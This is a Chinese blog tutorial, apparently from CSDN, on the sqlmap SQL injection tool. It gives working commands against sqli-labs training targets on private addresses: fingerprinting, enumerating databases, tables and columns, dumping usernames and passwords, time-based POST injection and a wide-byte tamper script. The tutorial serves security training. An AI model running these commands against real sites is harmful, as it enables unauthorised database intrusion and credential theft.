sqlmap工具

SQLmap简介

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

官网:

http://sqlmap.org

SQLmap下载安装

访问官网 http://sqlmap.org进入下载
在这里插入图片描述

  • 如图,zip为windows版本,tar.gz为linux版本
  • SQLmap因为是python脚本编写的。所以还需要python。我这里下载python2
    访问https://www.python.org/然后downloads根据提示就好了

SQLmap确定目标

SQLmap直连数据库

  • sqlmap -d “数据库类型://用户名:密码@ip地址:端口/数据库名” -f --banner
    比如:sqlmap -d “mysql://root:[email protected]:3306/dvwa” -f --banner

直连数据库获得用户及权限:
python sqlmap .py sqlmap -d “mysql://root:[email protected]:3306/dvwa” -f --banner -users

SQLmap的url探测

探测sqlilabs 的lesson-1
输入
sqlmap -u "192.168.114.129:83/Less-1/?id=1" --banner

在这里插入图片描述
可以查到banner为5.7.26

  • sqlmap的url探测
    • Sqlmap直接对单一URL探测,参数使用-u或–url
      get方式:sqlmap -u “url”
      post方式:sqlmap -u “url” --data “post数据”

sqlmap -u “http://192.168.114.129:83/Less-19/?id=1”-f --banner --data “uname=admin&passwd=12344444&submit=Submit”

SQLmap文件读取目标

Sqlmap支持从不同类型的文件中读取目标进行Sql注入探测。
1、-l从Burpsuite proxy或WebScarab proxy中读取Http请求日志文件
2、-× 从sitemap.xml站点地图文件中读取目标探测。
3、-m从多行文本格式文件读取多个目标,对多个目标进行探测。
4、-r从文本文件中读取Http请求作为Sql注入探测的目标。
5、-c从配置文件sqlmap.conf中读取目标探测。

SQLmap实操

sqlmap完整get注入

1、探测数据库名
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” --dbs --batch
2、探测表名
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” -D security --tables --batch
3、探测字段名
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” -D security -T users --columns --batch
4、探测 字段值
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” -D security -T users -C username,password --dump --batch

探测post盲注

1.用bp抓包生成一个txt文件并保存
2.使用基于时间技术的sqlmap探测
python sqlmap.py -r target.txt --technique T -p uname
python sqlmap.py -r target.txt --technique T -p uname --dbs
基于时间的所以会比较慢

http头注入

指定注入位置进行注入,在保存的文件中,对于参数的修改为*,保存在txt文档中
然后Sqlmap -r /root/sqli_Less-19.txt 。

sqlmap tamper脚本注入

脚本位置在sqlmap下载的tamper目录
随便用一个。比如sqlilabs 的less-33宽字节注入

──(root㉿kali)-[~] └─# sqlmap -u "http://192.168.114.129:83/Less-33/?id=1" --tamper unmagicquotes –dbs
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_57485346/article/details/129500312